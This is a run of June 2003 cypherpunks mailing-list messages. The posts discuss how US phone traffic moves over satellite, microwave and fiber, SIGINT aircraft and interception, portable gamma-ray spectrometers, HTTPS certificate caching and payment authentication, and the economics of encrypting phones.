completely gave up satcom links about 15-20 years ago in the PSTN). The
economics don't work and people hated the delay in calls due to the
distance to the satellite.  The only real exception is parts of
back country Alaska... which is still served by satellite.

	There is still some international traffic on satellites, though
mostly to remote and underdeveloped places.   The great bulk of traffic
between the US and Europe and Asia is on fiber now.  Satellite does
provide backup to cables if they are cut, but more and more places
have enough redundant fiber to never need to use this capability.

	Until recently, most domestic PAGER traffic did flow via
satellites because it was cheaper to get it to the towers on remote
hilltops that way than by leasing fiber or copper circuits.  And indeed
when G4 died, a lot of pager transmitters had no input from the central
computers and went off the air.   Nobody had really thought about what
might happen if the bird died - they had been focusing on up link and
downlink reliability instead.   And in a very typical communication
screwup, some of the backups were on the same satellite.

	There has been some use of satellites for Internet IP traffic,
but again only a tiny bit compared to the flood that travels over fiber.
This is much more used for international Internet links, some of which
are on satellites.

	The major use of satellite capacity over the US is for video,
both broadcast and cable and direct to home, and for some innately
broadcast services like distributing weather data to airports and 
weather forecast offices and the like.  There are also some remaining
point of sale credit card verification networks on satellite because
of the reduced cost of a satellite link compared to thousands of circuits
to local gas stations or convenience stores. 

	And a lot of satellite capacity gets used for mobile terminals
for video uplinks for satellite news gathering and sports back hauls and
the like.   It is obviously not usually possible to provide fiber to the
scene of a major news event and only sometimes to the venues of sports
events.  And the military and government uses satellite capacity to
talk to things like Navy ships and mobile command posts which aren't
in one place very long.

	Very little travels by microwave anymore in the CONUS either
(maybe a couple of percent or less of wireline telephone calls do at any
point, perhaps even less by now - mostly to backward places where
stringing fiber is hard or uneconomical).   Most of the old AT&T microwave
towers that once dotted hilltops across the country have been shut down
and sold to cell operators or even private citizens seeking a remote
location for a cabin - and most of this shutdown happened by the late
80s in fact.  Very very few of the towers still in existence transmit
any traffic any more or ever could again.


> I seem to recall that, years ago, the 
> Transatlantic copper traffic entering and
> leaving the US was shot via microwave link to/from the US terminus, over a 
> bay, and allegedly there was a NSA
> farmhouse on the line-of-site path of the link. The implication being that, 
> yes, they "could" have just wired
> around the bay, but instead there was an intentional opportunity for 
> interception.

	There is an interesting microwave shot from Greenhill Rhode
Island (the landing site for around a third of the transatlantic cables)
and a point in Connecticut.   One may draw whatever conclusions one
likes about why this was done this way in the early 70s or so.

	I have seen an unnamed Telco insider comment on a public mailing
list that certain fiber Sonet rings linking a NJ cable landing site
(with another third or so of the cables) to a switching facility that
actually handles most of the traffic further inland have three nodes
on them instead of two.  No idea why... just one of those weird things
that got built that way in construction I guess.

> 
> And I'll point out that long-haul comms to submarines are done with RF 
> basically at audio frequencies, via
> buried antennas....yeah, they DO use very high power, but aircraft are 
> close and don't have salt-water and
> thick earth to penetrate.

	Submarine communications use very very low (80 hz) frequencies
from buried wires for a kind of paging function that says come up and
get the nuclear war order.   Actual messages are sent on VLF frequencies
(16-90 khz) which penetrate seawater better than other frequency ranges
and can be received while submerged to up to a couple hundred feet.  
Antennas for this function are not buried, but gigantic towers or mile
long wires trailed from command and relay aircraft.

	Aircraft (notably the Guardrail and Rivet Joint aircraft)  can
and do collect most any available radio signals they can see from flight
altitude.   This allows cellphones, cordless phones, pagers, pdas,
wireless email devices, and miscellaneous two way radio signals to be
vacuumed up and some microwave links to be intercepted as well, but 
none of these aircraft has ever been reported to routinely do TEMPEST
type interception of wireline traffic from incidental radiation.


> And if any of the copper is carrying digital data, square waves are hugely 
> rich in harmonics well up into the
> MHz bands, and would therefore tend to radiate better from any above-ground 
> wires between poles, possibly
> even roadside pedestals.
> 
	Actually FCC rules require things be built NOT to radiate all
that much because of interference to licensed services using precious
spectrum, so most wire communications devices fiber and copper radiate
very very little energy.  Part of this is due to the cancellation effect
of energy flowing in balanced transmission lines, and part due to
filtering and shielding.

	And there are myriads and myriads of information streams flowing
in typical aerial cables - even if the energy could be detected at a
distance (which it can't due to the impact of the inverse square law) it
would be nearly impossible to sort out the impulses from one circuit
from those of all the others in the same cable.


> And I've seen alot of RF off of traditional CATV coax; don't know if 
> fiber-optic cable systems might ultimately
> have any tie-in to the coaxial feed to/from the headend.
> 
	Cable TV systems have rather high level VHF and UHF rf flowing
in them.  There is constant problem for cable companies with corrosion
and damage to the wires causing some of this energy to leak out and be
radiated and cause interference to licensed services on the same
frequencies.  Cable companies spend lots of dollars going around looking
for and fixing these problems in order to avoid fines and other legal
action by the FCC and FAA.

	Modern cable companies use fiber optics to transmit the signals
from the headend where the satellite dishes and antennas are to a
neighborhood where they are converted from optical to rf on copper and
distributed locally.

	And optical fiber does not radiate at all at radio frequencies.
The only source of rf radiation in fiber optic systems is the
electronics at either end which convert the light into electrical
signals for local use.

	One problem that most naive paranoid types completely fail to
grasp is the titanic volume of modern communications.  The flow is so
overwhelming that only a powerful God could possibly process it all to
find interesting material.   The entire federal budget could not pay
enough humans to screen and analyze ALL the electonic communications of
even a medium size city in 2003.    So communications intercepts are
necessarily targeted very narrowly, even drag net fishing is likely done
only in places where there is a real likelihood that something important
will turn up with finite effort.
	
	The notion that an all powerful big brother is listening to
everything and capturing everything just is not realistic, and a very
very high percentage of what does get captured is never looked at or
listened to or even stored for very long.

	Which of course is why traffic analysis and transaction analysis
and social network discovery is far more important than flying airplanes
around trying to collect incidental radiation from local copper T1
lines. Knowing who calls or emails who makes it possible to find the
needles which you want to monitor in the vast haystacks.   Thus there is
a much greater probability that records of your calls and IP traffic
addresses are looked at for patterns and association with known bad guys
than that someone is actually listening to or reading your traffic
looking for the word bomb.


-- 
	Dave Emery N1PRE,  die at die.com  DIE Consulting, Weston, Mass 02493
PGP fingerprint 1024D/8074C7AB 094B E58B 4F74 00C2 D8A6 B987 FB7D F8BA 8074 C7AB




From hseaver at cybershamanix.com  Fri Jun  6 05:41:20 2003
From: hseaver at cybershamanix.com (Harmon Seaver)
Date: Fri, 6 Jun 2003 07:41:20 -0500
Subject: SIGINT planes vs. radioisotope mapping
In-Reply-To: <20030606054129.GB3068@pig.die.com>
References: <BAY7-F53YCT4aJ6pkNz00015c18@hotmail.com>
  <5.2.0.9.0.20030605233500.02688bf0@incoming.verizon.net>
  <20030606054129.GB3068@pig.die.com>
Message-ID: <20030606124120.GB14035@cybershamanix.com>

On Fri, Jun 06, 2003 at 01:41:29AM -0400, Dave Emery wrote:
> 	Very little travels by microwave anymore in the CONUS either
> (maybe a couple of percent or less of wireline telephone calls do at any
> point, perhaps even less by now - mostly to backward places where
> stringing fiber is hard or uneconomical).   Most of the old AT&T microwave
> towers that once dotted hilltops across the country have been shut down
> and sold to cell operators or even private citizens seeking a remote
> location for a cabin - and most of this shutdown happened by the late
> 80s in fact.  Very very few of the towers still in existence transmit
> any traffic any more or ever could again.
> 

     Interesting, I wasn't aware those were deactivated. I wonder if tower space
on them can be rented. OTOH, there are a lot of rural ISPs who are using
wireless to provide net access to rural homes and businesses. Those old
microwave towers would be great for that. 


-- 
Harmon Seaver	
CyberShamanix
http://www.cybershamanix.com




From pcw2 at flyzone.com  Fri Jun  6 05:00:01 2003
From: pcw2 at flyzone.com (Peter Wayner)
Date: Fri, 6 Jun 2003 08:00:01 -0400
Subject: The perils of anonymous, not-so-digital cash
In-Reply-To: <kjr868m39t.fsf@romeo.rtfm.com>
References: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz> 
  <20030604074048.A13661@slack.lne.com> <sjmisrkoxmp.fsf@kikki.mit.edu>
  <kjr868m39t.fsf@romeo.rtfm.com>
Message-ID: <a05210600bb0632995fa8@[10.0.1.25]>

Two million in bearer bonds stolen along with the safe that held them:


http://www.timesunion.com/AspStories/story.asp?storyID=140587&category=FRONTPG&BCCode=HOME&newsdate=6/6/2003




From timcmay at got.net  Fri Jun  6 10:23:08 2003
From: timcmay at got.net (Tim May)
Date: Fri, 6 Jun 2003 10:23:08 -0700
Subject: SIGINT planes vs. radioisotope mapping
In-Reply-To: <Pine.LNX.4.33.0306061724230.17-100000@Zeta>
Message-ID: <8AD11497-9843-11D7-88B5-000A956B4C74@got.net>

On Friday, June 6, 2003, at 08:26  AM, Thomas Shaddack wrote:

> On Wed, 4 Jun 2003, Trei, Peter wrote:
>
>> It appears that they can't tell the medical isotopes from others....
>
> They have no chance to distinguish isotope type with just a plain 
> Geiger.
> For an identification, they would need a gamma spectrometer, which is a
> toy that AFAIK is not yet portable and cheap enough for mass 
> deployment.
>
>

I certainly never implied in any way that a simple G-M tube would be 
useful for this. Implicit in my radioistope mapping comment was that a 
gamma ray spectrometer would be used.

As for portability, the one I used in my lab in 1979-82 was not 
terribly heavy. The heaviest part was the LN dewar, which was large and 
floor-standing. A large dewar is certainly not needed.

The rest of the assembly, even 20 years ago, was mostly portable: the 
germanium detector head, some preamps and pulse-height analyzers, and a 
multichannel analyzer. Most of this stuff is now done on laptops, the 
MCA and analysis software part. Without researching this on the Net, I 
would thus conjecture the entire gamma ray spectrometer could fit in a 
small carry-on case, using a small dewar.

Certainly for the cost of operating a light plane, such a spectrometer 
would be a minor cost by comparison.

And note that this is just what can be easily bought on the open 
market...N.E.S.T. (Nuclear Emergency Search Team) and similar LEO 
people almost certainly have more miniaturized detector setups.

I expect most of the N.E.S.T. detectors are also gamma ray 
spectrometers, probably now so portable they fit unobtrusively into 
briefcases for use in crowded areas. As we discussed a few months ago 
(and I think I discussed this in _particular_ with Thomas!), the S/N 
advantages of using a spectrometer are enormous. Thousand-to-one 
improvements in general S/N are easily achievable. Even more if the MCA 
software is looking for pairs or triples or n-tuples of gamma peaks and 
inferring likely radioisotopes.

(I used this approach in 1981 to solve a major problem in IBM computers 
which were using Intel chips...and I don't mean the alpha particle soft 
error problem. This was a different problem, involving a beta source 
trapped in some of the packages. For this I used a pair of large sodium 
iodide crystals (which my well-equipped lab just happened to have in a 
storage cabinet, fortunately for us) and looked for a specific decay 
mode that resulted in a pair of gammas sent out in opposite directions. 
By using coincidence logic over microsecond intervals, enormous 
improvements in S/N could be achieved. Basically, background radiation 
vanished and only the specific beta decay mode we were looking for 
appeared.)

--Tim May

--Tim May
"Extremism in the pursuit of liberty is no vice."--Barry Goldwater




From nobody at dizum.com  Fri Jun  6 02:10:02 2003
From: nobody at dizum.com (Nomen Nescio)
Date: Fri,  6 Jun 2003 11:10:02 +0200 (CEST)
Subject: Can you read this?
Message-ID: <894bd0034d4398f54740970d9daa6d87@dizum.com>

   It may not be what you think!           It may not be what you think!


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From jblake at eskimo.com  Fri Jun  6 13:14:02 2003
From: jblake at eskimo.com (jonathon)
Date: Fri, 6 Jun 2003 13:14:02 -0700 (PDT)
Subject: SIGINT planes vs. radioisotope mapping
In-Reply-To: <BAY7-F82OCag4SfKekF00006d5d@hotmail.com>
Message-ID: <Pine.GSU.4.44.0306061311210.1297-100000@eskimo.com>

On Fri, 6 Jun 2003, Tyler Durden wrote:

]>Hum. I think I'm convincing myself that an AWAC might actually be able to

	What about the plane taht boing makes, that is similar to AWAC, but
	has short stubby wings in the front? [ I have no idea what it is
	called, there are two at Boeing field, with us air force colors. ]

	xan

	jonathon




From camera_lumina at hotmail.com  Fri Jun  6 10:17:19 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Fri, 06 Jun 2003 13:17:19 -0400
Subject: SIGINT planes vs. radioisotope mapping
Message-ID: <BAY7-F82OCag4SfKekF00006d5d@hotmail.com>

Good post.

Dave Emery wrote...

>So communications intercepts are
>necessarily targeted very narrowly, even drag net fishing is likely done
>only in places where there is a real likelihood that something important
>will turn up with finite effort.

I'm wondering if some of those lod satellite links or other technologies 
might not actually be used precisely for dumping a "dragnet" over to HQ for 
sifting. In face, didn't the government buy the old Iridium network?

What probably happens is that the government sends some commands into the 
PSTN (via that "emergency" channel) that drop-and-continue a TINY, 
carefully-selected fraction of a cities' traffic (probably pre-sifted using 
super-duper SAS analysis and whotnot), and then wirelessly transmits those 
calls to a series of sifters, the first several of which are probably 
computer-based, the last batch of which are human (probably a lot like a 
credit card operation).

However, it IS interesting to think about just what might fit into an AWAC 
or whatever these days, given 0.13 micron (or better...who knows?) ASICs. A 
single shelf of Cisco 15454 gear can pretty much do whatever you want to an 
OC-48, though you need more shelves in order to provide the COAX terminals 
for the DS1s encased therein.

Then again, in an AWAC they would have to send that OC-48 directly to some 
dedicated hardware to begin the winnowing process: looking for un 
provisioned lines, determining which lines have data, which voice, 
determinig which data is to/from ISPs,...etc...and then some SAS analysis to 
whittle it down to a small huntable set. Possibly an AWAC could handle 
several OC-48s provided there was some useful "hunting" criteria.

Hum. I think I'm convincing myself that an AWAC might actually be able to 
perform some interesting telecom reconaissance, depending on the 
application, but I'm fairly certain one of the functions is NOT to try to 
surreptitiously scan for radiation. Interesting traffic is almost certainly 
sent over to an uplink from somewhere in the ground.

-TD



>From: Dave Emery <die at die.com>
>To: Randy <randy at gte.net>
>CC: cypherpunks at minder.net
>Subject: Re: SIGINT planes vs. radioisotope mapping
>Date: Fri, 6 Jun 2003 01:41:29 -0400
>
>On Thu, Jun 05, 2003 at 11:52:14PM -0400, Randy wrote:
> > I recall a few years back, a single satellite lost stability, and it 
>pretty
> > much wiped out everyone's pagers, for
> > a few days. Just my way of saying that I don't have any clue as to how 
>much
> > point-to-point traffic may get
> > relayed by a bird at some point.
>
>	Within the continental US, very very little point to point
>telephone traffic flows via satellite (hardly any in fact except a few
>remaining private systems for companies and government - carriers
>completely gave up satcom links about 15-20 years ago in the PSTN). The
>economics don't work and people hated the delay in calls due to the
>distance to the satellite.  The only real exception is parts of
>back country Alaska... which is still served by satellite.
>
>	There is still some international traffic on satellites, though
>mostly to remote and underdeveloped places.   The great bulk of traffic
>between the US and Europe and Asia is on fiber now.  Satellite does
>provide backup to cables if they are cut, but more and more places
>have enough redundant fiber to never need to use this capability.
>
>	Until recently, most domestic PAGER traffic did flow via
>satellites because it was cheaper to get it to the towers on remote
>hilltops that way than by leasing fiber or copper circuits.  And indeed
>when G4 died, a lot of pager transmitters had no input from the central
>computers and went off the air.   Nobody had really thought about what
>might happen if the bird died - they had been focusing on up link and
>downlink reliability instead.   And in a very typical communication
>screwup, some of the backups were on the same satellite.
>
>	There has been some use of satellites for Internet IP traffic,
>but again only a tiny bit compared to the flood that travels over fiber.
>This is much more used for international Internet links, some of which
>are on satellites.
>
>	The major use of satellite capacity over the US is for video,
>both broadcast and cable and direct to home, and for some innately
>broadcast services like distributing weather data to airports and
>weather forecast offices and the like.  There are also some remaining
>point of sale credit card verification networks on satellite because
>of the reduced cost of a satellite link compared to thousands of circuits
>to local gas stations or convenience stores.
>
>	And a lot of satellite capacity gets used for mobile terminals
>for video uplinks for satellite news gathering and sports back hauls and
>the like.   It is obviously not usually possible to provide fiber to the
>scene of a major news event and only sometimes to the venues of sports
>events.  And the military and government uses satellite capacity to
>talk to things like Navy ships and mobile command posts which aren't
>in one place very long.
>
>	Very little travels by microwave anymore in the CONUS either
>(maybe a couple of percent or less of wireline telephone calls do at any
>point, perhaps even less by now - mostly to backward places where
>stringing fiber is hard or uneconomical).   Most of the old AT&T microwave
>towers that once dotted hilltops across the country have been shut down
>and sold to cell operators or even private citizens seeking a remote
>location for a cabin - and most of this shutdown happened by the late
>80s in fact.  Very very few of the towers still in existence transmit
>any traffic any more or ever could again.
>
>
> > I seem to recall that, years ago, the
> > Transatlantic copper traffic entering and
> > leaving the US was shot via microwave link to/from the US terminus, over 
>a
> > bay, and allegedly there was a NSA
> > farmhouse on the line-of-site path of the link. The implication being 
>that,
> > yes, they "could" have just wired
> > around the bay, but instead there was an intentional opportunity for
> > interception.
>
>	There is an interesting microwave shot from Greenhill Rhode
>Island (the landing site for around a third of the transatlantic cables)
>and a point in Connecticut.   One may draw whatever conclusions one
>likes about why this was done this way in the early 70s or so.
>
>	I have seen an unnamed Telco insider comment on a public mailing
>list that certain fiber Sonet rings linking a NJ cable landing site
>(with another third or so of the cables) to a switching facility that
>actually handles most of the traffic further inland have three nodes
>on them instead of two.  No idea why... just one of those weird things
>that got built that way in construction I guess.
>
> >
> > And I'll point out that long-haul comms to submarines are done with RF
> > basically at audio frequencies, via
> > buried antennas....yeah, they DO use very high power, but aircraft are
> > close and don't have salt-water and
> > thick earth to penetrate.
>
>	Submarine communications use very very low (80 hz) frequencies
>from buried wires for a kind of paging function that says come up and
>get the nuclear war order.   Actual messages are sent on VLF frequencies
>(16-90 khz) which penetrate seawater better than other frequency ranges
>and can be received while submerged to up to a couple hundred feet.
>Antennas for this function are not buried, but gigantic towers or mile
>long wires trailed from command and relay aircraft.
>
>	Aircraft (notably the Guardrail and Rivet Joint aircraft)  can
>and do collect most any available radio signals they can see from flight
>altitude.   This allows cellphones, cordless phones, pagers, pdas,
>wireless email devices, and miscellaneous two way radio signals to be
>vacuumed up and some microwave links to be intercepted as well, but
>none of these aircraft has ever been reported to routinely do TEMPEST
>type interception of wireline traffic from incidental radiation.
>
>
> > And if any of the copper is carrying digital data, square waves are 
>hugely
> > rich in harmonics well up into the
> > MHz bands, and would therefore tend to radiate better from any 
>above-ground
> > wires between poles, possibly
> > even roadside pedestals.
> >
>	Actually FCC rules require things be built NOT to radiate all
>that much because of interference to licensed services using precious
>spectrum, so most wire communications devices fiber and copper radiate
>very very little energy.  Part of this is due to the cancellation effect
>of energy flowing in balanced transmission lines, and part due to
>filtering and shielding.
>
>	And there are myriads and myriads of information streams flowing
>in typical aerial cables - even if the energy could be detected at a
>distance (which it can't due to the impact of the inverse square law) it
>would be nearly impossible to sort out the impulses from one circuit
>from those of all the others in the same cable.
>
>
> > And I've seen alot of RF off of traditional CATV coax; don't know if
> > fiber-optic cable systems might ultimately
> > have any tie-in to the coaxial feed to/from the headend.
> >
>	Cable TV systems have rather high level VHF and UHF rf flowing
>in them.  There is constant problem for cable companies with corrosion
>and damage to the wires causing some of this energy to leak out and be
>radiated and cause interference to licensed services on the same
>frequencies.  Cable companies spend lots of dollars going around looking
>for and fixing these problems in order to avoid fines and other legal
>action by the FCC and FAA.
>
>	Modern cable companies use fiber optics to transmit the signals
>from the headend where the satellite dishes and antennas are to a
>neighborhood where they are converted from optical to rf on copper and
>distributed locally.
>
>	And optical fiber does not radiate at all at radio frequencies.
>The only source of rf radiation in fiber optic systems is the
>electronics at either end which convert the light into electrical
>signals for local use.
>
>	One problem that most naive paranoid types completely fail to
>grasp is the titanic volume of modern communications.  The flow is so
>overwhelming that only a powerful God could possibly process it all to
>find interesting material.   The entire federal budget could not pay
>enough humans to screen and analyze ALL the electonic communications of
>even a medium size city in 2003.    So communications intercepts are
>necessarily targeted very narrowly, even drag net fishing is likely done
>only in places where there is a real likelihood that something important
>will turn up with finite effort.
>
>	The notion that an all powerful big brother is listening to
>everything and capturing everything just is not realistic, and a very
>very high percentage of what does get captured is never looked at or
>listened to or even stored for very long.
>
>	Which of course is why traffic analysis and transaction analysis
>and social network discovery is far more important than flying airplanes
>around trying to collect incidental radiation from local copper T1
>lines. Knowing who calls or emails who makes it possible to find the
>needles which you want to monitor in the vast haystacks.   Thus there is
>a much greater probability that records of your calls and IP traffic
>addresses are looked at for patterns and association with known bad guys
>than that someone is actually listening to or reading your traffic
>looking for the word bomb.
>
>
>--
>	Dave Emery N1PRE,  die at die.com  DIE Consulting, Weston, Mass 02493
>PGP fingerprint 1024D/8074C7AB 094B E58B 4F74 00C2 D8A6 B987 FB7D F8BA 8074 
>C7AB

_________________________________________________________________
MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.  
http://join.msn.com/?page=features/virus




From lynn at garlic.com  Fri Jun  6 12:34:41 2003
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Fri, 06 Jun 2003 13:34:41 -0600
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <kjd6ht8l5j.fsf@romeo.rtfm.com>
References: <3EDE1D79.8791.1B477836@localhost>
 <3EDD06EF.2850.17076FA5@localhost>
 <3EDE1D79.8791.1B477836@localhost>
Message-ID: <4.2.2.20030606130542.034dc680@mail.earthlink.net>

At 04:42 PM 6/4/2003 -0700, Eric Rescorla wrote:
>Nonsense. One can simply cache the certificate, exactly as
>one does with SSH. In fact, Mozilla at least does exactly
>this if you tell it to. The reason that this is uncommon
>is because the environments where HTTPS is used
>are generally spontaneous and therefore certificate caching
>is less useful.


there are actually two scenarios .... one is to pre-cache it (so that its 
transmission never actually has to happen) and the other is to compress it 
to zero bytes. detailed discussion of certificate pre-caching and 
certificate zero byte compression:
http://www.garlic.com/~lynn/ansiepay.htm#aadsnwi2

the typical use for HTTPS for e-commerce is to hide the account number on 
its way to the financial institution. for the most part the merchant is 
primarily interested in the response from the consumer's financial 
institution on whether or not the merchant gets paid. If it weren't for the 
associated business processes, the merchant could get by with never knowing 
anything at all about the consumer (the merchant just passes the account 
number on ... and gets back what they are really interested in .... the 
notification from the bank that they will get paid).

So a HTTPS type solution is that the consumer pre-caches their bank's 
certificate (when they establish a bank account). .... and they transmit 
the account number "hidden" using the bank's public key. This happens to 
pass thru the merchants processing .... but for purposes of the 
authorization, the merchant never really has to see it. The protocol would 
require minor issues of replay attacks .... and be able to be done in a 
single round trip .... w/o all the SSL protocol chatter. Actually, is isn't 
so much pre-caching their bank's certificate .... as loading their bank's 
public key into a table .... analogous to the way CA public keys are 
loading into tables (aka using out-of-band processing .... the convention 
that they may be self-signed and encoded in a certificate format is an 
anomoly of available software and in no way implies a PKI). The primary 
purpose of HTTPS hasn't been to have a secure channel with the merchant, 
the primary purpose of the HTTPS is to try and hide the consumer's account 
number as it makes its way to the consumer's financial institution.

The other solution is the X9.59 standard (preserve the integrity of the 
financial infrastructure for all electronic retail payments, not just 
internet, not just POS, not just credit, ALL; credit, debit, stored value, 
etc) that creates authenticated transactions and account numbers that can 
only be used in authenticated transaction. The consumer's public key is 
registered in their bank account (out of band process, again no PKI). X9.59 
transactions are signed and transmitted. Since the account number can only 
be used in authenticated transactions .... it changes from needing 
encryption to hide the value as part of a shared-secret paradigm to purely 
a paradigm that supports integrity and authentication. As in the above, 
scenario, the merchant passes the value thru on its way to the consumer's 
financial institution; and is focused on getting the approved/disapproved 
answer back about whether they will be paid. As in the bank HTTPS scenario 
where the bank's pubilc key is pre-cached at the consumer, the pre-caching 
of the consumer's public key is pre-cached at the bank .... involves no PKI 
business processes (although their may be some similarities that the 
transport of the public key involves encoding in a certificate defined 
format).  misc. x9.59 refs:
http://www.garlic.com/~lynn/index.html#x959

Both pre-caching solutions are between the business entities that are 
directly involved; the consumer and the consumer's financial institution 
based on having an established business relationship.

The invention of PKI was primarily to address the issue of an event between 
two parties that had no prior business relationship and possibly weren't 
going to have any future business relationship and that they would conclude 
their business relying on some mutual trust in the integrity of a 3rd party 
w/o actually having to resort to an online environment. The e-commerce 
scenario is that there is real-time, online transaction with the trusted 
3rd party (the consumer's financial institution) involving prior business 
relationship. This negates the basic original assumptions about the 
environment that PKIs are targeted at addressing.
--
Anne & Lynn Wheeler    http://www.garlic.com/~lynn/
Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm
   
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From ekr at rtfm.com  Fri Jun  6 14:16:34 2003
From: ekr at rtfm.com (Eric Rescorla)
Date: 06 Jun 2003 14:16:34 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <200306051011.h55ABjv21031@medusa01.cs.auckland.ac.nz>
References: <200306051011.h55ABjv21031@medusa01.cs.auckland.ac.nz>
Message-ID: <kj4r32yki5.fsf@romeo.rtfm.com>

pgut001 at cs.auckland.ac.nz (Peter Gutmann) writes:

> Bodo Moeller <moeller at cdc.informatik.tu-darmstadt.de> writes:
> 
> >Using an explicit state machine helps to get code suitable for multiplexing
> >within a single thread various connections using non-blocking I/O.
> 
> Is there some specific advantage here, or is it an academic exercise?  Some
> quirk of supporting certain types of hardware like nCipher boxes that do async
> crypto/scatter-gather?
I've had to do this on environments where threads weren't a viable
option. See, for instance, my paper from USENIX Security 2002.

-Ekr
-- 
[Eric Rescorla                                   ekr at rtfm.com]
                http://www.rtfm.com/




From mv at cdc.gov  Fri Jun  6 14:27:36 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Fri, 06 Jun 2003 14:27:36 -0700
Subject: SIGINT planes vs. radioisotope mapping
Message-ID: <3EE10748.64CB3473@cdc.gov>

t 10:23 AM 6/6/03 -0700, Tim May wrote:
>I certainly never implied in any way that a simple G-M tube would be
>useful for this. Implicit in my radioistope mapping comment was that a
>gamma ray spectrometer would be used.
>
>And note that this is just what can be easily bought on the open
>market...N.E.S.T. (Nuclear Emergency Search Team) and similar LEO
>people almost certainly have more miniaturized detector setups.

Indeed, there is a group of GeigerCounterEnthusiasts on Yahoo whose
members
have/make this kind of thing.  You use scintillation plastic &
photomultiplier tubes;
you can get these on eBay.

Sometimes they mount their detectors in cars and find that some sections

of roads are hotter than background, or a hot railroad car.

>For this I used a pair of large sodium
>iodide crystals

which also show up on eBay

>mode that resulted in a pair of gammas sent out in opposite directions.

Also the principle behind PET scans.  Mr. positron meets Ms. electron,
and bang, two little Gammas carry the momentum away...

GM tubes use avalanche to amplify; the scintillators, NaI, semiconductor

junctions measure analogue energy, so you get an energy spectrum.
Add a few comparators and a logic gate and you get a channel.

...
Pierre Curie didn't die from radiation
poisoning, he was hit by a horse drawn cart




From iang at systemics.com  Fri Jun  6 11:30:04 2003
From: iang at systemics.com (Ian Grigg)
Date: Fri, 06 Jun 2003 14:30:04 -0400
Subject: Maybe It's Snake Oil All the Way Down
References: <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
	 <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
	 <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com>
	 <kjd6hxzc07.fsf@romeo.rtfm.com>
	 <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
	 <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com> <5.2.0.9.0.20030604180546.04576990@pop.ix.netcom.com>
Message-ID: <3EE0DDAC.20912752@systemics.com>

John Kelsey wrote:

> So, what can I do about it, as an individual?  Make the cellphone companies
> build good crypto into their systems?  Any ideas how to do that?

Nope.  Cellphone companies are big slow moving
targets.  They get their franchise from the
government.  If the NSA wants weak crypto, they
do weak crypto.

There is literally no point in hoping the cell
phone company - or any large franchise holder -
will help you in your fight against big brother.

OTOH, what you can do is argue for reasonable
crypto.

(Similar to GSM's.  That is hard to attack,
there is AFAIR no 'trival' attack, you have to
get access to the SIM or you have to probe the
phone with another phone over a period of hours.
I.e., the attacker leaves tracks, and he does so
in a way that will move him on to another mode
of tapping, such as purchasing a straight listening
device.)

Now, it seems that the US standards didn't get
even that.  There's definately a case for arguing
for better crypto in the US.  And, market forces
and all that, one would think that this would
happen in due course.

But arguing for strong crypto end-to-end - save
your breath.

John Kelsey (paraphrased):
> The only way I can see getting decent security [in any application] is to do
> something that doesn't require the rest of the world's permission or
> assistance.

(I edited the above to broaden the assert!)

Opportunistic crypto - that which uses the tools
immediately available and delivers crypto that
is the best available right now - is the only
crypto that will work for *you* the user in any
application.  Anything that defers security off
to some external party has a result of slowing
or killing the application, or delivering less
or no security than if you'd gone ahead in the
first place.

This isn't saying anything new.  It's the Internet,
after all.  On the Internet, one doesn't ask for
permission to participate.  That's no accident,
it's a core reason for its arisal.  Any protocol
that has a step of "now ask for permission" is,
IMHO, breaking one of the major principles of the
Internet.

> ... I
> have an old Comsec 3DES phone at home.  It's nice technology.  I think I've
> used it twice.  If you're not a cryptographer or a cocaine smuggler, you
> probably don't know anyone who owns an encrypting phone or would
> particularly want to.  Even if you'd like to improve your own privacy, you
> can't buy an end-to-end encrypting phone and improve it much.  That's what
> I'd like to see change.

I guess there's no reason why you couldn't load
up speakfreely on a custom Unix box with a flashed
OS, put in the USB headset, and sell it as an end
to end encrypting phone.  The software's all free,
a cheap machine is $300 at Walmart, some enterprising
crypto guy could ship out a network appliance for
$500.

(Or, put it in a PDA that's got the right hooks?)

Half the price of your old Comsec, wasn't it selling
for $1000?

-- 
iang

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From bob.cat at snet.net  Fri Jun  6 11:47:34 2003
From: bob.cat at snet.net (BobCat)
Date: Fri, 6 Jun 2003 14:47:34 -0400
Subject: SIGINT planes vs. radioisotope mapping
References: <8AD11497-9843-11D7-88B5-000A956B4C74@got.net>
Message-ID: <005a01c32c5c$1bf60ff0$7eeafc40@Leopard>

From: "Tim May" <timcmay at got.net>

> I certainly never implied in any way that a simple G-M tube would be
> useful for this. Implicit in my radioistope mapping comment was that a
> gamma ray spectrometer would be used.

> The rest of the assembly, even 20 years ago, was mostly portable: the
> germanium detector head, some preamps and pulse-height analyzers, and a
> multichannel analyzer. Most of this stuff is now done on laptops, the
> MCA and analysis software part. Without researching this on the Net, I
> would thus conjecture the entire gamma ray spectrometer could fit in a
> small carry-on case, using a small dewar.

http://www.giscogeo.com/pages/radgf260.html

DIMENSIONS AND WEIGHT: 27x13x18 cm, 2.8 kg

There's a bunch more

http://www.alltheweb.com/search?cat=web&cs=utf-8&type=phrase&q=portable%20gamma%20ray%20spectrometer%20




From tim at dierks.org  Fri Jun  6 12:04:49 2003
From: tim at dierks.org (Tim Dierks)
Date: Fri, 06 Jun 2003 15:04:49 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDE43EB.29325.1BDDA647@localhost>
References: <kjd6ht8l5j.fsf@romeo.rtfm.com>
  <3EDE1D79.8791.1B477836@localhost>
Message-ID: <6.0.0.9.2.20030606145813.04ac4850@127.0.0.1>

At 10:09 PM 6/4/2003, James A. Donald wrote:
>Eric Rescorla
> > Nonsense. One can simply cache the certificate, exactly as
> > one does with SSH. In fact, Mozilla at least does exactly
> > this if you tell it to. The reason that this is uncommon is
> > because the environments where HTTPS is used are generally
> > spontaneous and therefore certificate caching is less useful.
>
>Certificate caching is not the problem that needs solving.  The
>problem is all this spam attempting to fool people into logging
>in to fake BofA websites and fake e-gold websites, to steal
>their passwords or credit card numbers

